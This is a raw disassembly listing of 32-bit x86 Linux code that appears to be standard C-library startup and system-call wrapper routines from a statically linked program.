804deba: a3 f0 f0 04 08 mov %eax,0x804f0f0
804debf: 83 7c 24 70 ff cmpl $0xffffffff,0x70(%esp)
804dec4: 75 20 jne 0x804dee6
804dec6: e8 72 05 00 00 call 0x804e43d
804decb: 89 c3 mov %eax,%ebx
804decd: e8 da 04 00 00 call 0x804e3ac
804ded2: 39 c3 cmp %eax,%ebx
804ded4: 75 2f jne 0x804df05
804ded6: e8 f7 04 00 00 call 0x804e3d2
804dedb: 89 c3 mov %eax,%ebx
804dedd: e8 a4 04 00 00 call 0x804e386
804dee2: 39 c3 cmp %eax,%ebx
804dee4: 75 1f jne 0x804df05
804dee6: 8b 44 24 70 mov 0x70(%esp),%eax
804deea: 83 f8 ff cmp $0xffffffff,%eax
804deed: 74 40 je 0x804df2f
804deef: 3b 44 24 78 cmp 0x78(%esp),%eax
804def3: 75 10 jne 0x804df05
804def5: 8b 84 24 80 00 00 00 mov 0x80(%esp),%eax
804defc: 3b 84 24 88 00 00 00 cmp 0x88(%esp),%eax
804df03: 74 2a je 0x804df2f
804df05: ba 00 00 02 00 mov $0x20000,%edx
804df0a: 31 c0 xor %eax,%eax
804df0c: e8 8c fe ff ff call 0x804dd9d
804df11: ba 02 00 02 00 mov $0x20002,%edx
804df16: b8 01 00 00 00 mov $0x1,%eax
804df1b: e8 7d fe ff ff call 0x804dd9d
804df20: ba 02 00 02 00 mov $0x20002,%edx
804df25: b8 02 00 00 00 mov $0x2,%eax
804df2a: e8 6e fe ff ff call 0x804dd9d
804df2f: be 00 f0 04 08 mov $0x804f000,%esi
804df34: 8b 07 mov (%edi),%eax
804df36: 81 ee 00 f0 04 08 sub $0x804f000,%esi
804df3c: a3 80 f0 04 08 mov %eax,0x804f080
804df41: c1 fe 02 sar $0x2,%esi
804df44: 8b 84 24 b0 00 00 00 mov 0xb0(%esp),%eax
804df4b: 31 db xor %ebx,%ebx
804df4d: a3 f4 f0 04 08 mov %eax,0x804f0f4
804df52: eb 08 jmp 0x804df5c
804df54: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4)
804df5b: 43 inc %ebx
804df5c: 39 f3 cmp %esi,%ebx
804df5e: 72 f4 jb 0x804df54
804df60: 85 ed test %ebp,%ebp
804df62: 74 02 je 0x804df66
804df64: ff d5 call *%ebp
804df66: be 00 f0 04 08 mov $0x804f000,%esi
804df6b: 31 db xor %ebx,%ebx
804df6d: 81 ee 00 f0 04 08 sub $0x804f000,%esi
804df73: c1 fe 02 sar $0x2,%esi
804df76: eb 08 jmp 0x804df80
804df78: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4)
804df7f: 43 inc %ebx
804df80: 39 f3 cmp %esi,%ebx
804df82: 72 f4 jb 0x804df78
804df84: b8 b6 c5 04 08 mov $0x804c5b6,%eax
804df89: 85 c0 test %eax,%eax
804df8b: 74 0b je 0x804df98
804df8d: e8 24 e6 ff ff call 0x804c5b6
804df92: c7 00 00 00 00 00 movl $0x0,(%eax)
804df98: b8 00 00 00 00 mov $0x0,%eax
804df9d: 85 c0 test %eax,%eax
804df9f: 74 0b je 0x804dfac
804dfa1: e8 5a 20 fb f7 call 0x0
804dfa6: c7 00 00 00 00 00 movl $0x0,(%eax)
804dfac: 50 push %eax
804dfad: ff 35 ec f0 04 08 pushl 0x804f0ec
804dfb3: 57 push %edi
804dfb4: ff b4 24 b0 00 00 00 pushl 0xb0(%esp)
804dfbb: ff 94 24 b0 00 00 00 call *0xb0(%esp)
804dfc2: 89 04 24 mov %eax,(%esp)
804dfc5: e8 5b fa ff ff call 0x804da25
804dfca: 90 nop
804dfcb: 90 nop
804dfcc: b8 ad 00 00 00 mov $0xad,%eax
804dfd1: cd 80 int $0x80
804dfd3: 58 pop %eax
804dfd4: b8 77 00 00 00 mov $0x77,%eax
804dfd9: cd 80 int $0x80
804dfdb: 56 push %esi
804dfdc: 53 push %ebx
804dfdd: 81 ec 24 01 00 00 sub $0x124,%esp
804dfe3: 8b 9c 24 34 01 00 00 mov 0x134(%esp),%ebx
804dfea: 8b b4 24 38 01 00 00 mov 0x138(%esp),%esi
804dff1: 85 db test %ebx,%ebx
804dff3: 74 4f je 0x804e044
804dff5: 8b 03 mov (%ebx),%eax
804dff7: 89 84 24 98 00 00 00 mov %eax,0x98(%esp)
804dffe: 8d 43 04 lea 0x4(%ebx),%eax
804e001: 52 push %edx
804e002: 68 80 00 00 00 push $0x80
804e007: 50 push %eax
804e008: 8d 84 24 b0 00 00 00 lea 0xb0(%esp),%eax
804e00f: 50 push %eax
804e010: e8 9e 06 00 00 call 0x804e6b3
804e015: 8b 83 84 00 00 00 mov 0x84(%ebx),%eax
804e01b: 0d 00 00 00 04 or $0x4000000,%eax
804e020: 89 84 24 ac 00 00 00 mov %eax,0xac(%esp)
804e027: 83 c4 10 add $0x10,%esp
804e02a: b8 cc df 04 08 mov $0x804dfcc,%eax
804e02f: f6 83 84 00 00 00 04 testb $0x4,0x84(%ebx)
804e036: 75 05 jne 0x804e03d
804e038: b8 d3 df 04 08 mov $0x804dfd3,%eax
804e03d: 89 84 24 a0 00 00 00 mov %eax,0xa0(%esp)
804e044: 31 d2 xor %edx,%edx
804e046: 85 f6 test %esi,%esi
804e048: 74 04 je 0x804e04e
804e04a: 8d 54 24 0c lea 0xc(%esp),%edx
804e04e: 31 c0 xor %eax,%eax
804e050: 85 db test %ebx,%ebx
804e052: 74 07 je 0x804e05b
804e054: 8d 84 24 98 00 00 00 lea 0x98(%esp),%eax
804e05b: 6a 08 push $0x8
804e05d: 52 push %edx
804e05e: 50 push %eax
804e05f: ff b4 24 3c 01 00 00 pushl 0x13c(%esp)
804e066: e8 96 00 00 00 call 0x804e101
804e06b: 83 c4 10 add $0x10,%esp
804e06e: 89 c3 mov %eax,%ebx
804e070: 85 f6 test %esi,%esi
804e072: 74 35 je 0x804e0a9
804e074: 85 c0 test %eax,%eax
804e076: 78 31 js 0x804e0a9
804e078: 8b 44 24 0c mov 0xc(%esp),%eax
804e07c: 89 06 mov %eax,(%esi)
804e07e: 50 push %eax
804e07f: 68 80 00 00 00 push $0x80
804e084: 8d 44 24 20 lea 0x20(%esp),%eax
804e088: 50 push %eax
804e089: 8d 46 04 lea 0x4(%esi),%eax
804e08c: 50 push %eax
804e08d: e8 21 06 00 00 call 0x804e6b3
804e092: 8b 44 24 20 mov 0x20(%esp),%eax
804e096: 89 86 84 00 00 00 mov %eax,0x84(%esi)
804e09c: 8b 44 24 24 mov 0x24(%esp),%eax
804e0a0: 83 c4 10 add $0x10,%esp
804e0a3: 89 86 88 00 00 00 mov %eax,0x88(%esi)
804e0a9: 89 d8 mov %ebx,%eax
804e0ab: 81 c4 24 01 00 00 add $0x124,%esp
804e0b1: 5b pop %ebx
804e0b2: 5e pop %esi
804e0b3: c3 ret
804e0b4: 89 da mov %ebx,%edx
804e0b6: b8 5a 00 00 00 mov $0x5a,%eax
804e0bb: 8d 5c 24 04 lea 0x4(%esp),%ebx
804e0bf: cd 80 int $0x80
804e0c1: 89 d3 mov %edx,%ebx
804e0c3: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e0c8: 0f 87 44 07 00 00 ja 0x804e812
804e0ce: c3 ret
804e0cf: 53 push %ebx
804e0d0: 83 ec 08 sub $0x8,%esp
804e0d3: 8b 54 24 10 mov 0x10(%esp),%edx
804e0d7: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e0db: 87 d3 xchg %edx,%ebx
804e0dd: b8 66 00 00 00 mov $0x66,%eax
804e0e2: cd 80 int $0x80
804e0e4: 87 d3 xchg %edx,%ebx
804e0e6: 89 c3 mov %eax,%ebx
804e0e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e0ed: 76 0c jbe 0x804e0fb
804e0ef: e8 c2 e4 ff ff call 0x804c5b6
804e0f4: f7 db neg %ebx
804e0f6: 89 18 mov %ebx,(%eax)
804e0f8: 83 cb ff or $0xffffffff,%ebx
804e0fb: 89 d8 mov %ebx,%eax
804e0fd: 5a pop %edx
804e0fe: 59 pop %ecx
804e0ff: 5b pop %ebx
804e100: c3 ret
804e101: 57 push %edi
804e102: 56 push %esi
804e103: 83 ec 04 sub $0x4,%esp
804e106: 8b 7c 24 10 mov 0x10(%esp),%edi
804e10a: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e10e: 8b 54 24 18 mov 0x18(%esp),%edx
804e112: 8b 74 24 1c mov 0x1c(%esp),%esi
804e116: 53 push %ebx
804e117: 89 fb mov %edi,%ebx
804e119: b8 ae 00 00 00 mov $0xae,%eax
804e11e: cd 80 int $0x80
804e120: 5b pop %ebx
804e121: 89 c6 mov %eax,%esi
804e123: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e128: 76 0c jbe 0x804e136
804e12a: e8 87 e4 ff ff call 0x804c5b6
804e12f: f7 de neg %esi
804e131: 89 30 mov %esi,(%eax)
804e133: 83 ce ff or $0xffffffff,%esi
804e136: 89 f0 mov %esi,%eax
804e138: 5a pop %edx
804e139: 5e pop %esi
804e13a: 5f pop %edi
804e13b: c3 ret
804e13c: 57 push %edi
804e13d: 53 push %ebx
804e13e: 83 ec 04 sub $0x4,%esp
804e141: 8b 7c 24 10 mov 0x10(%esp),%edi
804e145: 53 push %ebx
804e146: 89 fb mov %edi,%ebx
804e148: b8 01 00 00 00 mov $0x1,%eax
804e14d: cd 80 int $0x80
804e14f: 5b pop %ebx
804e150: 89 c3 mov %eax,%ebx
804e152: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e157: 76 ec jbe 0x804e145
804e159: e8 58 e4 ff ff call 0x804c5b6
804e15e: f7 db neg %ebx
804e160: 89 18 mov %ebx,(%eax)
804e162: eb e1 jmp 0x804e145
804e164: 53 push %ebx
804e165: 83 ec 08 sub $0x8,%esp
804e168: 8b 54 24 10 mov 0x10(%esp),%edx
804e16c: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e170: 87 d3 xchg %edx,%ebx
804e172: b8 0a 01 00 00 mov $0x10a,%eax
804e177: cd 80 int $0x80
804e179: 87 d3 xchg %edx,%ebx
804e17b: 89 c3 mov %eax,%ebx
804e17d: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e182: 76 0c jbe 0x804e190
804e184: e8 2d e4 ff ff call 0x804c5b6
804e189: f7 db neg %ebx
804e18b: 89 18 mov %ebx,(%eax)
804e18d: 83 cb ff or $0xffffffff,%ebx
804e190: 89 d8 mov %ebx,%eax
804e192: 5a pop %edx
804e193: 59 pop %ecx
804e194: 5b pop %ebx
804e195: c3 ret
804e196: 53 push %ebx
804e197: 83 ec 48 sub $0x48,%esp
804e19a: 8b 54 24 50 mov 0x50(%esp),%edx
804e19e: 8d 4c 24 08 lea 0x8(%esp),%ecx
804e1a2: 87 d3 xchg %edx,%ebx
804e1a4: b8 6c 00 00 00 mov $0x6c,%eax
804e1a9: cd 80 int $0x80
804e1ab: 87 d3 xchg %edx,%ebx
804e1ad: 89 c3 mov %eax,%ebx
804e1af: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e1b4: 76 0e jbe 0x804e1c4
804e1b6: e8 fb e3 ff ff call 0x804c5b6
804e1bb: f7 db neg %ebx
804e1bd: 89 18 mov %ebx,(%eax)
804e1bf: 83 cb ff or $0xffffffff,%ebx
804e1c2: eb 13 jmp 0x804e1d7
804e1c4: 85 c0 test %eax,%eax
804e1c6: 75 0f jne 0x804e1d7
804e1c8: 50 push %eax
804e1c9: 50 push %eax
804e1ca: ff 74 24 5c pushl 0x5c(%esp)
804e1ce: 51 push %ecx
804e1cf: e8 62 04 00 00 call 0x804e636
804e1d4: 83 c4 10 add $0x10,%esp
804e1d7: 89 d8 mov %ebx,%eax
804e1d9: 83 c4 48 add $0x48,%esp
804e1dc: 5b pop %ebx
804e1dd: c3 ret
804e1de: 57 push %edi
804e1df: 56 push %esi
804e1e0: 53 push %ebx
804e1e1: 8b 5c 24 14 mov 0x14(%esp),%ebx
804e1e5: 52 push %edx
804e1e6: ff 74 24 1c pushl 0x1c(%esp)
804e1ea: 53 push %ebx
804e1eb: ff 74 24 1c pushl 0x1c(%esp)
804e1ef: e8 59 00 00 00 call 0x804e24d
804e1f4: 83 c4 10 add $0x10,%esp
804e1f7: 89 c6 mov %eax,%esi
804e1f9: 85 c0 test %eax,%eax
804e1fb: 7e 4a jle 0x804e247
804e1fd: 8d 3c 03 lea (%ebx,%eax,1),%edi
804e200: eb 41 jmp 0x804e243
804e202: 8b 43 08 mov 0x8(%ebx),%eax
804e205: 89 43 04 mov %eax,0x4(%ebx)
804e208: 8b 43 10 mov 0x10(%ebx),%eax
804e20b: 66 89 43 08 mov %ax,0x8(%ebx)
804e20f: 8a 43 12 mov 0x12(%ebx),%al
804e212: 88 43 0a mov %al,0xa(%ebx)
804e215: 50 push %eax
804e216: 0f b7 43 08 movzwl 0x8(%ebx),%eax
804e21a: 83 e8 13 sub $0x13,%eax
804e21d: 50 push %eax
804e21e: 8d 43 13 lea 0x13(%ebx),%eax
804e221: 50 push %eax
804e222: 8d 43 0b lea 0xb(%ebx),%eax
804e225: 50 push %eax
804e226: e8 b5 e3 ff ff call 0x804c5e0
804e22b: 83 c4 0c add $0xc,%esp
804e22e: 0f b7 43 08 movzwl 0x8(%ebx),%eax
804e232: 50 push %eax
804e233: 53 push %ebx
804e234: 53 push %ebx
804e235: e8 a6 e3 ff ff call 0x804c5e0
804e23a: 0f b7 43 08 movzwl 0x8(%ebx),%eax
804e23e: 83 c4 10 add $0x10,%esp
804e241: 01 c3 add %eax,%ebx
804e243: 39 fb cmp %edi,%ebx
804e245: 72 bb jb 0x804e202
804e247: 89 f0 mov %esi,%eax
804e249: 5b pop %ebx
804e24a: 5e pop %esi
804e24b: 5f pop %edi
804e24c: c3 ret
804e24d: 55 push %ebp
804e24e: 89 e5 mov %esp,%ebp
804e250: 57 push %edi
804e251: 56 push %esi
804e252: 53 push %ebx
804e253: 83 ec 2c sub $0x2c,%esp
804e256: 8b 45 10 mov 0x10(%ebp),%eax
804e259: 8b 7d 08 mov 0x8(%ebp),%edi
804e25c: 83 c0 1e add $0x1e,%eax
804e25f: 8b 55 10 mov 0x10(%ebp),%edx
804e262: 83 e0 f0 and $0xfffffff0,%eax
804e265: 29 c4 sub %eax,%esp
804e267: 8d 44 24 0f lea 0xf(%esp),%eax
804e26b: 83 e0 f0 and $0xfffffff0,%eax
804e26e: 89 45 d4 mov %eax,-0x2c(%ebp)
804e271: 89 c1 mov %eax,%ecx
804e273: 53 push %ebx
804e274: 89 fb mov %edi,%ebx
804e276: b8 dc 00 00 00 mov $0xdc,%eax
804e27b: cd 80 int $0x80
804e27d: 5b pop %ebx
804e27e: 89 45 ec mov %eax,-0x14(%ebp)
804e281: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e286: 76 0f jbe 0x804e297
804e288: e8 29 e3 ff ff call 0x804c5b6
804e28d: f7 5d ec negl -0x14(%ebp)
804e290: 8b 55 ec mov -0x14(%ebp),%edx
804e293: 89 10 mov %edx,(%eax)
804e295: eb 5c jmp 0x804e2f3
804e297: 83 7d ec ff cmpl $0xffffffff,-0x14(%ebp)
804e29b: 74 56 je 0x804e2f3
804e29d: 8b 75 0c mov 0xc(%ebp),%esi
804e2a0: 8b 5d d4 mov -0x2c(%ebp),%ebx
804e2a3: c7 45 e0 ff ff ff ff movl $0xffffffff,-0x20(%ebp)
804e2aa: c7 45 e4 ff ff ff ff movl $0xffffffff,-0x1c(%ebp)
804e2b1: e9 90 00 00 00 jmp 0x804e346
804e2b6: 0f b7 43 10 movzwl 0x10(%ebx),%eax
804e2ba: 8d 48 03 lea 0x3(%eax),%ecx
804e2bd: 8b 45 0c mov 0xc(%ebp),%eax
804e2c0: 83 e1 fc and $0xfffffffc,%ecx
804e2c3: 03 45 10 add 0x10(%ebp),%eax
804e2c6: 8d 3c 0e lea (%esi,%ecx,1),%edi
804e2c9: 89 7d dc mov %edi,-0x24(%ebp)
804e2cc: 39 c7 cmp %eax,%edi
804e2ce: 76 28 jbe 0x804e2f8
804e2d0: 6a 00 push $0x0
804e2d2: ff 75 e4 pushl -0x1c(%ebp)
804e2d5: ff 75 e0 pushl -0x20(%ebp)
804e2d8: ff 75 08 pushl 0x8(%ebp)
804e2db: e8 83 01 00 00 call 0x804e463
804e2e0: 83 c4 10 add $0x10,%esp
804e2e3: 3b 75 0c cmp 0xc(%ebp),%esi
804e2e6: 75 6c jne 0x804e354
804e2e8: e8 c9 e2 ff ff call 0x804c5b6
804e2ed: c7 00 16 00 00 00 movl $0x16,(%eax)
804e2f3: 83 c8 ff or $0xffffffff,%eax
804e2f6: eb 61 jmp 0x804e359
804e2f8: 8b 43 08 mov 0x8(%ebx),%eax
804e2fb: 8b 53 0c mov 0xc(%ebx),%edx
804e2fe: 89 55 e4 mov %edx,-0x1c(%ebp)
804e301: 89 45 e0 mov %eax,-0x20(%ebp)
804e304: 8b 03 mov (%ebx),%eax
804e306: 8b 53 04 mov 0x4(%ebx),%edx
804e309: 89 56 04 mov %edx,0x4(%esi)
804e30c: 89 06 mov %eax,(%esi)
804e30e: 8b 43 08 mov 0x8(%ebx),%eax
804e311: 8b 53 0c mov 0xc(%ebx),%edx
804e314: 89 56 0c mov %edx,0xc(%esi)
804e317: 89 46 08 mov %eax,0x8(%esi)
804e31a: 66 89 4e 10 mov %cx,0x10(%esi)
804e31e: 8a 43 12 mov 0x12(%ebx),%al
804e321: 88 46 12 mov %al,0x12(%esi)
804e324: 50 push %eax
804e325: 0f b7 43 10 movzwl 0x10(%ebx),%eax
804e329: 83 e8 13 sub $0x13,%eax
804e32c: 50 push %eax
804e32d: 8d 43 13 lea 0x13(%ebx),%eax
804e330: 50 push %eax
804e331: 8d 46 13 lea 0x13(%esi),%eax
804e334: 50 push %eax
804e335: e8 79 03 00 00 call 0x804e6b3
804e33a: 0f b7 43 10 movzwl 0x10(%ebx),%eax
804e33e: 8b 75 dc mov -0x24(%ebp),%esi
804e341: 01 c3 add %eax,%ebx
804e343: 83 c4 10 add $0x10,%esp
804e346: 8b 45 d4 mov -0x2c(%ebp),%eax
804e349: 03 45 ec add -0x14(%ebp),%eax
804e34c: 39 c3 cmp %eax,%ebx
804e34e: 0f 82 62 ff ff ff jb 0x804e2b6
804e354: 89 f0 mov %esi,%eax
804e356: 2b 45 0c sub 0xc(%ebp),%eax
804e359: 8d 65 f4 lea -0xc(%ebp),%esp
804e35c: 5b pop %ebx
804e35d: 5e pop %esi
804e35e: 5f pop %edi
804e35f: 5d pop %ebp
804e360: c3 ret
804e361: 83 ec 24 sub $0x24,%esp
804e364: 8d 44 24 1c lea 0x1c(%esp),%eax
804e368: 50 push %eax
804e369: 6a 07 push $0x7
804e36b: e8 9b 00 00 00 call 0x804e40b
804e370: 83 c4 10 add $0x10,%esp
804e373: ba 00 01 00 00 mov $0x100,%edx
804e378: 85 c0 test %eax,%eax
804e37a: 78 04 js 0x804e380
804e37c: 8b 54 24 14 mov 0x14(%esp),%edx
804e380: 89 d0 mov %edx,%eax
804e382: 83 c4 1c add $0x1c,%esp
804e385: c3 ret
804e386: 53 push %ebx
804e387: 83 ec 08 sub $0x8,%esp
804e38a: b8 ca 00 00 00 mov $0xca,%eax
804e38f: cd 80 int $0x80
804e391: 89 c3 mov %eax,%ebx
804e393: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e398: 76 0c jbe 0x804e3a6
804e39a: e8 17 e2 ff ff call 0x804c5b6
804e39f: f7 db neg %ebx
804e3a1: 89 18 mov %ebx,(%eax)
804e3a3: 83 cb ff or $0xffffffff,%ebx
804e3a6: 89 d8 mov %ebx,%eax
804e3a8: 5a pop %edx
804e3a9: 59 pop %ecx
804e3aa: 5b pop %ebx
804e3ab: c3 ret
804e3ac: 53 push %ebx
804e3ad: 83 ec 08 sub $0x8,%esp
804e3b0: b8 c9 00 00 00 mov $0xc9,%eax
804e3b5: cd 80 int $0x80
804e3b7: 89 c3 mov %eax,%ebx
804e3b9: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e3be: 76 0c jbe 0x804e3cc
804e3c0: e8 f1 e1 ff ff call 0x804c5b6
804e3c5: f7 db neg %ebx
804e3c7: 89 18 mov %ebx,(%eax)
804e3c9: 83 cb ff or $0xffffffff,%ebx
804e3cc: 89 d8 mov %ebx,%eax
804e3ce: 5a pop %edx
804e3cf: 59 pop %ecx
804e3d0: 5b pop %ebx
804e3d1: c3 ret
804e3d2: 53 push %ebx
804e3d3: 83 ec 08 sub $0x8,%esp
804e3d6: b8 c8 00 00 00 mov $0xc8,%eax
804e3db: cd 80 int $0x80
804e3dd: 89 c3 mov %eax,%ebx
804e3df: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e3e4: 76 0c jbe 0x804e3f2
804e3e6: e8 cb e1 ff ff call 0x804c5b6
804e3eb: f7 db neg %ebx
804e3ed: 89 18 mov %ebx,(%eax)
804e3ef: 83 cb ff or $0xffffffff,%ebx
804e3f2: 89 d8 mov %ebx,%eax
804e3f4: 5a pop %edx
804e3f5: 59 pop %ecx
804e3f6: 5b pop %ebx
804e3f7: c3 ret
804e3f8: a1 f0 f0 04 08 mov 0x804f0f0,%eax
804e3fd: ba 00 10 00 00 mov $0x1000,%edx
804e402: 85 c0 test %eax,%eax
804e404: 74 02 je 0x804e408
804e406: 89 c2 mov %eax,%edx
804e408: 89 d0 mov %edx,%eax
804e40a: c3 ret
804e40b: 53 push %ebx
804e40c: 83 ec 08 sub $0x8,%esp
804e40f: 8b 54 24 10 mov 0x10(%esp),%edx
804e413: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e417: 87 d3 xchg %edx,%ebx
804e419: b8 bf 00 00 00 mov $0xbf,%eax
804e41e: cd 80 int $0x80
804e420: 87 d3 xchg %edx,%ebx
804e422: 89 c3 mov %eax,%ebx
804e424: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e429: 76 0c jbe 0x804e437
804e42b: e8 86 e1 ff ff call 0x804c5b6
804e430: f7 db neg %ebx
804e432: 89 18 mov %ebx,(%eax)
804e434: 83 cb ff or $0xffffffff,%ebx
804e437: 89 d8 mov %ebx,%eax
804e439: 5a pop %edx
804e43a: 59 pop %ecx
804e43b: 5b pop %ebx
804e43c: c3 ret
804e43d: 53 push %ebx
804e43e: 83 ec 08 sub $0x8,%esp
804e441: b8 c7 00 00 00 mov $0xc7,%eax
804e446: cd 80 int $0x80
804e448: 89 c3 mov %eax,%ebx
804e44a: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e44f: 76 0c jbe 0x804e45d
804e451: e8 60 e1 ff ff call 0x804c5b6
804e456: f7 db neg %ebx
804e458: 89 18 mov %ebx,(%eax)
804e45a: 83 cb ff or $0xffffffff,%ebx
804e45d: 89 d8 mov %ebx,%eax
804e45f: 5a pop %edx
804e460: 59 pop %ecx
804e461: 5b pop %ebx
804e462: c3 ret
804e463: 57 push %edi
804e464: 56 push %esi
804e465: 53 push %ebx
804e466: 83 ec 10 sub $0x10,%esp
804e469: 8b 5c 24 28 mov 0x28(%esp),%ebx
804e46d: 8b 4c 24 24 mov 0x24(%esp),%ecx
804e471: 89 d9 mov %ebx,%ecx
804e473: 8b 7c 24 2c mov 0x2c(%esp),%edi
804e477: 89 cb mov %ecx,%ebx
804e479: 8d 74 24 08 lea 0x8(%esp),%esi
804e47d: c1 fb 1f sar $0x1f,%ebx
804e480: 8b 44 24 20 mov 0x20(%esp),%eax
804e484: 8b 54 24 24 mov 0x24(%esp),%edx
804e488: 53 push %ebx
804e489: 89 c3 mov %eax,%ebx
804e48b: b8 8c 00 00 00 mov $0x8c,%eax
804e490: cd 80 int $0x80
804e492: 5b pop %ebx
804e493: 89 c6 mov %eax,%esi
804e495: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e49a: 76 0e jbe 0x804e4aa
804e49c: e8 15 e1 ff ff call 0x804c5b6
804e4a1: f7 de neg %esi
804e4a3: 89 30 mov %esi,(%eax)
804e4a5: 83 ce ff or $0xffffffff,%esi
804e4a8: eb 04 jmp 0x804e4ae
804e4aa: 85 c0 test %eax,%eax
804e4ac: 74 05 je 0x804e4b3
804e4ae: 89 f0 mov %esi,%eax
804e4b0: 99 cltd
804e4b1: eb 08 jmp 0x804e4bb
804e4b3: 8b 44 24 08 mov 0x8(%esp),%eax
804e4b7: 8b 54 24 0c mov 0xc(%esp),%edx
804e4bb: 83 c4 10 add $0x10,%esp
804e4be: 5b pop %ebx
804e4bf: 5e pop %esi
804e4c0: 5f pop %edi
804e4c1: c3 ret
804e4c2: 57 push %edi
804e4c3: 56 push %esi
804e4c4: 83 ec 04 sub $0x4,%esp
804e4c7: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e4cb: 8b 54 24 18 mov 0x18(%esp),%edx
804e4cf: 8b 74 24 1c mov 0x1c(%esp),%esi
804e4d3: 8b 7c 24 20 mov 0x20(%esp),%edi
804e4d7: 8b 44 24 10 mov 0x10(%esp),%eax
804e4db: 53 push %ebx
804e4dc: 89 c3 mov %eax,%ebx
804e4de: b8 a3 00 00 00 mov $0xa3,%eax
804e4e3: cd 80 int $0x80
804e4e5: 5b pop %ebx
804e4e6: 89 c6 mov %eax,%esi
804e4e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e4ed: 76 0c jbe 0x804e4fb
804e4ef: e8 c2 e0 ff ff call 0x804c5b6
804e4f4: f7 de neg %esi
804e4f6: 89 30 mov %esi,(%eax)
804e4f8: 83 ce ff or $0xffffffff,%esi
804e4fb: 89 f0 mov %esi,%eax
804e4fd: 5a pop %edx
804e4fe: 5e pop %esi
804e4ff: 5f pop %edi
804e500: c3 ret
804e501: 53 push %ebx
804e502: 83 ec 08 sub $0x8,%esp
804e505: 8b 54 24 10 mov 0x10(%esp),%edx
804e509: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e50d: 87 d3 xchg %edx,%ebx
804e50f: b8 5b 00 00 00 mov $0x5b,%eax
804e514: cd 80 int $0x80
804e516: 87 d3 xchg %edx,%ebx
804e518: 89 c3 mov %eax,%ebx
804e51a: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e51f: 76 0c jbe 0x804e52d
804e521: e8 90 e0 ff ff call 0x804c5b6
804e526: f7 db neg %ebx
804e528: 89 18 mov %ebx,(%eax)
804e52a: 83 cb ff or $0xffffffff,%ebx
804e52d: 89 d8 mov %ebx,%eax
804e52f: 5a pop %edx
804e530: 59 pop %ecx
804e531: 5b pop %ebx
804e532: c3 ret
804e533: 53 push %ebx
804e534: 83 ec 08 sub $0x8,%esp
804e537: 8b 54 24 10 mov 0x10(%esp),%edx
804e53b: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e53f: 87 d3 xchg %edx,%ebx
804e541: b8 a2 00 00 00 mov $0xa2,%eax
804e546: cd 80 int $0x80
804e548: 87 d3 xchg %edx,%ebx
804e54a: 89 c3 mov %eax,%ebx
804e54c: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e551: 76 0c jbe 0x804e55f
804e553: e8 5e e0 ff ff call 0x804c5b6
804e558: f7 db neg %ebx
804e55a: 89 18 mov %ebx,(%eax)
804e55c: 83 cb ff or $0xffffffff,%ebx
804e55f: 89 d8 mov %ebx,%eax
804e561: 5a pop %edx
804e562: 59 pop %ecx
804e563: 5b pop %ebx
804e564: c3 ret
804e565: 56 push %esi
804e566: 53 push %ebx
804e567: 83 ec 04 sub $0x4,%esp
804e56a: 83 3d 04 f1 04 08 00 cmpl $0x0,0x804f104
804e571: 8b 74 24 10 mov 0x10(%esp),%esi
804e575: 75 11 jne 0x804e588
804e577: 83 ec 0c sub $0xc,%esp
804e57a: 6a 00 push $0x0
804e57c: e8 5b 02 00 00 call 0x804e7dc
804e581: 83 c4 10 add $0x10,%esp
804e584: 85 c0 test %eax,%eax
804e586: 78 22 js 0x804e5aa
804e588: 85 f6 test %esi,%esi
804e58a: a1 04 f1 04 08 mov 0x804f104,%eax
804e58f: 75 04 jne 0x804e595
804e591: 89 c3 mov %eax,%ebx
804e593: eb 18 jmp 0x804e5ad
804e595: 83 ec 0c sub $0xc,%esp
804e598: 89 c3 mov %eax,%ebx
804e59a: 8d 04 30 lea (%eax,%esi,1),%eax
804e59d: 50 push %eax
804e59e: e8 39 02 00 00 call 0x804e7dc
804e5a3: 83 c4 10 add $0x10,%esp
804e5a6: 85 c0 test %eax,%eax
804e5a8: 79 03 jns 0x804e5ad
804e5aa: 83 cb ff or $0xffffffff,%ebx
804e5ad: 89 d8 mov %ebx,%eax
804e5af: 5a pop %edx
804e5b0: 5b pop %ebx
804e5b1: 5e pop %esi
804e5b2: c3 ret
804e5b3: 57 push %edi
804e5b4: 56 push %esi
804e5b5: 83 ec 04 sub $0x4,%esp
804e5b8: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e5bc: 8b 7c 24 10 mov 0x10(%esp),%edi
804e5c0: 8b 54 24 18 mov 0x18(%esp),%edx
804e5c4: 85 c9 test %ecx,%ecx
804e5c6: 74 15 je 0x804e5dd
804e5c8: 83 ff 02 cmp $0x2,%edi
804e5cb: 76 10 jbe 0x804e5dd
804e5cd: e8 e4 df ff ff call 0x804c5b6
804e5d2: c7 00 16 00 00 00 movl $0x16,(%eax)
804e5d8: 83 c8 ff or $0xffffffff,%eax
804e5db: eb 27 jmp 0x804e604
804e5dd: be 08 00 00 00 mov $0x8,%esi
804e5e2: 53 push %ebx
804e5e3: 89 fb mov %edi,%ebx
804e5e5: b8 af 00 00 00 mov $0xaf,%eax
804e5ea: cd 80 int $0x80
804e5ec: 5b pop %ebx
804e5ed: 89 c6 mov %eax,%esi
804e5ef: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e5f4: 76 0c jbe 0x804e602
